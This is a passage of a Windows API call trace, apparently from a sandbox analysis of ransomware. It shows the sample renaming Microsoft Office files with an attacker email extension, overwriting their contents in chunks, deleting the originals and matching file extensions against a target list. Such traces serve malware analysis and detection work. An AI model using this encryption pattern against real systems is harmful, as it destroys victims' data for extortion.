	[0075.211] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=5944055) returned 1
	[0075.211] CloseHandle (hObject=0x378) returned 1
	[0075.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml")) returned 0x20
	[0075.211] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0075.211] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0075.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\appxmanifest.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0075.212] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0x0) returned 1
	[0075.212] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.212] ReadFile (in: hFile=0x378, lpBuffer=0x2fa4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x2fa4058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.215] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.216] ReadFile (in: hFile=0x378, lpBuffer=0x2fe4058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x2fe4058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.246] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2acfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0075.246] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc24 | out: lpNewFilePointer=0x0) returned 1
	[0075.246] ReadFile (in: hFile=0x378, lpBuffer=0x3024058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2acfc30, lpOverlapped=0x0 | out: lpBuffer=0x3024058*, lpNumberOfBytesRead=0x2acfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0075.654] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.654] WriteFile (in: hFile=0x378, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2acfca8, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfca8*=0xc010c, lpOverlapped=0x0) returned 1
	[0076.113] SetEndOfFile (hFile=0x378) returned 1
	[0076.113] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3e739b0
	[0076.769] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.769] WriteFile (in: hFile=0x378, lpBuffer=0x3e739b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e739b0*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.771] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x1e3ba7, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.771] WriteFile (in: hFile=0x378, lpBuffer=0x3e739b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e739b0*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.776] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x56b2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2acfc74 | out: lpNewFilePointer=0x0) returned 1
	[0076.777] WriteFile (in: hFile=0x378, lpBuffer=0x3e739b0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2acfc80, lpOverlapped=0x0 | out: lpBuffer=0x3e739b0*, lpNumberOfBytesWritten=0x2acfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0076.779] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e739b0 | out: hHeap=0x500000) returned 1
	[0076.779] CloseHandle (hObject=0x378) returned 1
	[0078.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\AppXManifest.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0078.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.520] lstrlenW (lpString=".doc") returned 4
	[0078.523] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.526] lstrlenW (lpString=".docx") returned 5
	[0078.527] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0078.527] lstrlenW (lpString=".pdf") returned 4
	[0078.527] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.527] lstrlenW (lpString=".xls") returned 4
	[0078.527] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.530] lstrlenW (lpString=".xlsx") returned 5
	[0078.541] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0078.555] lstrlenW (lpString=".ppt") returned 4
	[0078.555] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.556] lstrlenW (lpString=".zip") returned 4
	[0078.556] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.558] lstrlenW (lpString=".rar") returned 4
	[0078.558] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.558] lstrlenW (lpString=".bz2") returned 4
	[0078.559] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.559] lstrlenW (lpString=".7z") returned 3
	[0078.559] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.559] lstrlenW (lpString=".dbf") returned 4
	[0078.559] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.559] lstrlenW (lpString=".1cd") returned 4
	[0078.559] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.559] lstrlenW (lpString=".jpg") returned 4
	[0078.559] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.559] lstrlenW (lpString=".doc") returned 4
	[0078.559] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.559] lstrlenW (lpString=".docx") returned 5
	[0078.559] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1
	[0078.559] lstrlenW (lpString=".pdf") returned 4
	[0078.559] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.559] lstrlenW (lpString=".xls") returned 4
	[0078.559] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.559] lstrlenW (lpString=".xlsx") returned 5
	[0078.559] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1
	[0078.559] lstrlenW (lpString=".ppt") returned 4
	[0078.559] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.560] lstrlenW (lpString=".zip") returned 4
	[0078.560] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.560] lstrlenW (lpString=".rar") returned 4
	[0078.560] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.560] lstrlenW (lpString=".bz2") returned 4
	[0078.560] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.560] lstrlenW (lpString=".7z") returned 3
	[0078.560] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.560] lstrlenW (lpString=".dbf") returned 4
	[0078.560] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.560] lstrlenW (lpString=".1cd") returned 4
	[0078.560] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned 50
	[0078.560] lstrlenW (lpString=".jpg") returned 4
	[0078.560] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.560] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.560] lstrlenW (lpString="AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 53
	[0078.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.686] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=343329) returned 1
	[0078.686] CloseHandle (hObject=0x388) returned 1
	[0078.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0078.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.687] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.687] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.719] GetLastError () returned 0x0
	[0078.719] ReadFile (in: hFile=0x388, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x53d21, lpOverlapped=0x0) returned 1
	[0078.727] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x53d30, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x53d30, lpOverlapped=0x0) returned 1
	[0078.733] ReadFile (in: hFile=0x388, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.733] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.733] SetEndOfFile (hFile=0x370) returned 1
	[0078.733] CloseHandle (hObject=0x370) returned 1
	[0078.741] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.741] SetEndOfFile (hFile=0x388) returned 1
	[0078.744] CloseHandle (hObject=0x388) returned 1
	[0078.744] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0057-0000-1000-0000000ff1ce.xml")) returned 1
	[0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.745] lstrlenW (lpString=".doc") returned 4
	[0078.745] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.745] lstrlenW (lpString=".docx") returned 5
	[0078.745] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.745] lstrlenW (lpString=".pdf") returned 4
	[0078.745] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.745] lstrlenW (lpString=".xls") returned 4
	[0078.745] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.745] lstrlenW (lpString=".xlsx") returned 5
	[0078.745] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.745] lstrlenW (lpString=".ppt") returned 4
	[0078.745] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.745] lstrlenW (lpString=".zip") returned 4
	[0078.745] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.745] lstrlenW (lpString=".rar") returned 4
	[0078.745] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.745] lstrlenW (lpString=".bz2") returned 4
	[0078.745] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.745] lstrlenW (lpString=".7z") returned 3
	[0078.745] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.745] lstrlenW (lpString=".dbf") returned 4
	[0078.745] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.745] lstrlenW (lpString=".1cd") returned 4
	[0078.745] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.745] lstrlenW (lpString=".jpg") returned 4
	[0078.745] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.745] lstrlenW (lpString=".doc") returned 4
	[0078.746] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.746] lstrlenW (lpString=".docx") returned 5
	[0078.746] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.746] lstrlenW (lpString=".pdf") returned 4
	[0078.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.746] lstrlenW (lpString=".xls") returned 4
	[0078.746] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.746] lstrlenW (lpString=".xlsx") returned 5
	[0078.746] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.746] lstrlenW (lpString=".ppt") returned 4
	[0078.746] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.746] lstrlenW (lpString=".zip") returned 4
	[0078.746] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.746] lstrlenW (lpString=".rar") returned 4
	[0078.746] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.746] lstrlenW (lpString=".bz2") returned 4
	[0078.746] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.746] lstrlenW (lpString=".7z") returned 3
	[0078.746] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.746] lstrlenW (lpString=".dbf") returned 4
	[0078.746] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.746] lstrlenW (lpString=".1cd") returned 4
	[0078.746] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0057-0000-1000-0000000FF1CE.xml") returned 104
	[0078.746] lstrlenW (lpString=".jpg") returned 4
	[0078.746] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.746] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.746] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53
	[0078.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.747] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=65002) returned 1
	[0078.747] CloseHandle (hObject=0x388) returned 1
	[0078.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0078.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0078.747] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.747] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0078.747] GetLastError () returned 0x0
	[0078.747] ReadFile (in: hFile=0x388, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xfdea, lpOverlapped=0x0) returned 1
	[0078.751] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xfdf0, lpOverlapped=0x0) returned 1
	[0078.753] ReadFile (in: hFile=0x388, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.753] WriteFile (in: hFile=0x370, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.753] SetEndOfFile (hFile=0x370) returned 1
	[0078.753] CloseHandle (hObject=0x370) returned 1
	[0078.755] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.755] SetEndOfFile (hFile=0x388) returned 1
	[0078.756] CloseHandle (hObject=0x388) returned 1
	[0078.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1
	[0078.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.757] lstrlenW (lpString=".doc") returned 4
	[0078.757] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.757] lstrlenW (lpString=".docx") returned 5
	[0078.757] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.757] lstrlenW (lpString=".pdf") returned 4
	[0078.757] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.757] lstrlenW (lpString=".xls") returned 4
	[0078.757] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.757] lstrlenW (lpString=".xlsx") returned 5
	[0078.757] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.757] lstrlenW (lpString=".ppt") returned 4
	[0078.757] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.757] lstrlenW (lpString=".zip") returned 4
	[0078.757] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.757] lstrlenW (lpString=".rar") returned 4
	[0078.757] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.757] lstrlenW (lpString=".bz2") returned 4
	[0078.757] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.757] lstrlenW (lpString=".7z") returned 3
	[0078.757] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.757] lstrlenW (lpString=".dbf") returned 4
	[0078.757] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.757] lstrlenW (lpString=".1cd") returned 4
	[0078.757] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.757] lstrlenW (lpString=".jpg") returned 4
	[0078.757] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.758] lstrlenW (lpString=".doc") returned 4
	[0078.758] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.758] lstrlenW (lpString=".docx") returned 5
	[0078.758] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.758] lstrlenW (lpString=".pdf") returned 4
